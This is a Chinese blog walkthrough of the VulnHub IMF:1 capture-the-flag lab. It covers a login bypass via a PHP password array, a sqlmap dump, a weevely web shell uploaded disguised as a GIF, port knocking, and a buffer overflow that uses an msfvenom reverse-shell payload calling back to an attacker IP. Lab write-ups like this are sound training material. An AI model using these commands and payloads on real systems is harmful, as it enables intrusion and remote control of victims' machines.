No.8-VulnHub-IMF: 1-Walkthrough渗透学习
**VulnHub-IMF: 1-Walkthrough**靶机地址:https://www.vulnhub.com/entry/imf-1,162/靶机难度:中级(CTF)靶机发布日期:2016年10月30日靶机描述:欢迎使用“ IMF”,这是我的第一个Boot2Root虚拟机。IMF是一个情报机构,您必须骇入所有标志并最终扎根。这些标志起步容易,随着您的前进而变得越来越难。每个标志...
**
VulnHub-IMF: 1-Walkthrough
**
靶机地址:https://www.vulnhub.com/entry/imf-1,162/
靶机难度:中级(CTF)
靶机发布日期:2016年10月30日
靶机描述:欢迎使用“ IMF”,这是我的第一个Boot2Root虚拟机。IMF是一个情报机构,您必须骇入所有标志并最终扎根。这些标志起步容易,随着您的前进而变得越来越难。每个标志都包含下一个标志的提示。我希望您喜欢这个虚拟机并学到一些东西。
目标:得到root权限&找到四个flag.txt
作者:大余
时间:2020-01-05
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
我们已经找到了此次CTF目标计算机IP地址:192.168.182.151
nmap扫描发现,80端口上运行着Apache,利用IP地址直接访问网页…
这边看到有三个选项卡,在第三个contact us源代码找到了flag1信息
flag1{YWxsdGhlZmlsZXM=}
这是一个base64值,用bp进行破解(最近时间紧迫,就不介绍很详细了,直接过不懂得直接来找我)
解码值:allthefiles
继续搜索看看还有base64值吗,搜到还有,继续解码
eVlYUnZjZz09fQ==
这里解码不对,在回去仔细看发现是连在一起的…继续解码
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
解码值:flag2{aW1mYWRtaW5pc3RyYXRvcg==}
一环套一环,还是base值,继续解码
aW1mYWRtaW5pc3RyYXRvcg==
解码值:imfadministrator
前面flag1解码值:allthefiles
二、web渗透
访问目录试试
imfadministrator目录可以访问,没用用户名密码
查看源代码,我使用user/pass登陆试试
无效的用户名,没信息了,回到最初页面看看contact us里还有啥信息
这里有三个用户:rmichaels、akeith、estone
这边下面是另外一种新知识
用bp去拦截他请求的数据包,在把数据越过检测
输入一个随意的账号密码
我尝试发送一个空数组作为密码,通过将密码字段名称更改为pass[],但是regex函数无法通过
这边用admin、administrator、imfadministrator作为账号返回数值都和测试账号一样
这边尝试用rmichaels用户,账号是对的,密码作为一个空数组越过了,获得了里面内容flag3
flag3 {Y29udGludWVUT2Ntcw==}
解码:continueTOcms
通过登录后,继续查看信息
继续用php执行SQL注入攻击(可以看下方链接学习更多!!)
https://stackoverflow.com/questions/1885979/php-get-variable-array-injection
我们需要找到底层目录,将截获的代码保存到本地中,进行SQL注入攻击
命令:sqlmap -r dayusql --risk=3 --level=5 --dbs --dump --batch --threads=10
查看到底层有jpg文件,将他下载下来查看信息
/images/whiteboard.jpg
发现有个二维码,666,手机微信扫一扫发现flag4(你可以用手机试试)
flag4{dXBsb2Fkcjk0Mi5waHA=}
解码后:uploadr942.php
三、文件上传提权
发现这里可以上传文件
这边使用weevely来进行提权(链接可以学习)
一般只能上传jpg、png、gif文件,这边我开始自己制作
搜先用weevely生成php文件
将生成的dayujiayou.php代码经过拦截输入到image中
改名为gif文件
随意添加GIF数值!!(制作木马)
成功上传,上传完后查看源代码!!
返回值: 43384891653d(木马值)
命令:weevely http://192.168.182.151/imfadministrator/uploads/43384891653d.gif jesse
使用weevely链接木马,成功提到低权,并查看到flag5信息
flag5{YWdlbnRzZXJ2aWNlcw==}
解码:agentservices
这里也可以用metasploit提权
flag5是代理服务的意思那就跟着这条思路继续往下走…
命令:find / -name agent &>/dev/null
命令:/usr/local/bin/agent
这使用>/dev/null把错误信息重定向到黑洞中,只留下正确的信息回显,这时候我们就能快速而准确的找到我们需要的文件了…
发现有代理在执行
netstat查看端口7788也有代理在执行
到/usr/local/bin目录下查看access_codes发现端口序列:7482 8279 9467
这边使用knock敲门(基于python3 就是撬开端口的意思)
没有的先安装
命令:git clone https://github.com/grongor/knock.git
安装完成
这边正常敲开了靶机的7788端口
现在不知道这ID是啥
这边需要二进制文件进行反向工程并获取代理程序ID…(真难,我这里理解原理用了好多时间…)
前面我们运行/usr/local/bin目录下的agent会需要输入ID,这边我们从agent文件下手
先把他传到kali本地
命令:file_download /usr/local/bin/agent /root/agent
这边查看到agent是ELF32位文件,将文件提权后执行,随意输入任意ID,ID不对退出后,使用ltrace(跟踪进程调用库函数的情况)查看agent信息
随意输入fgets(…然后看到了agent ID(这是有效的ID,可以多次输入错误ID查看)
这边ID正确,其中选项2和3可以让用户输入内容,
如此看来是要通过缓冲区溢出7788端口的agent程序,这边用二进制修改exp
为该程序创建一个利用程序,首先我们为msfvenom有效负载创建一个shellcode
命令:msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.182.149 LPORT=6666 -f python -b “\x00\x0a\x0b”
利用二进制py修改exp进行提权
将文件写入本地agentsploit.py中
flag6{R2gwc3RQcm90MGMwbHM=}
Gh0stProt0c0ls
这台靶机,涵盖了知识量挺大的,从熟悉BP、写木马、gdb拆解、二进制、缓冲区溢出等等,花了太多时间,这一切都是值得滴,一定要自己手动做,手动写,你才知道当你熟悉了,这些不是特别难,加油!!!
由于我们已经成功得到root权限&找到6个flag.txt,因此完成了CTF靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
更多推荐
所有评论(0)